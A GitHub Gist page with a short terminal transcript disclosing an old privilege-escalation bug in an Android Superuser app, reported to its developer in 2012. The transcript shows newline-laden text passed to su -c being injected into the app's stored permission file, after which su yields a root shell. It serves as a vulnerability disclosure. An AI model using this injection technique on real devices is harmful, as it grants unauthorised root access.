Created
July 30, 2015 02:56
-
-
Save thejh/219deec09c3d99cfc9f2 to your computer and use it in GitHub Desktop.
ooold superuser vuln, reported to chainsdd 2012-08-13
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
root@android:/ # su 1000 | |
system@android:/ $ cd /tmp | |
system@android:/tmp $ cat > foo | |
/system/bin/sh | |
1 | |
rubbish | |
system@android:/tmp $ su -c "$(cat foo)" | |
# press "deny" now with "remember" option activated | |
Permission denied | |
1|system@android:/tmp $ su | |
system@android:/tmp # cat /data/data/com.noshufou.android.su/files/stored/1000-0 | |
/system/bin/sh | |
1 | |
rubbish | |
0 | |
system@android:/tmp # id | |
uid=0(root) gid=0(root) | |
system@android:/tmp # |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment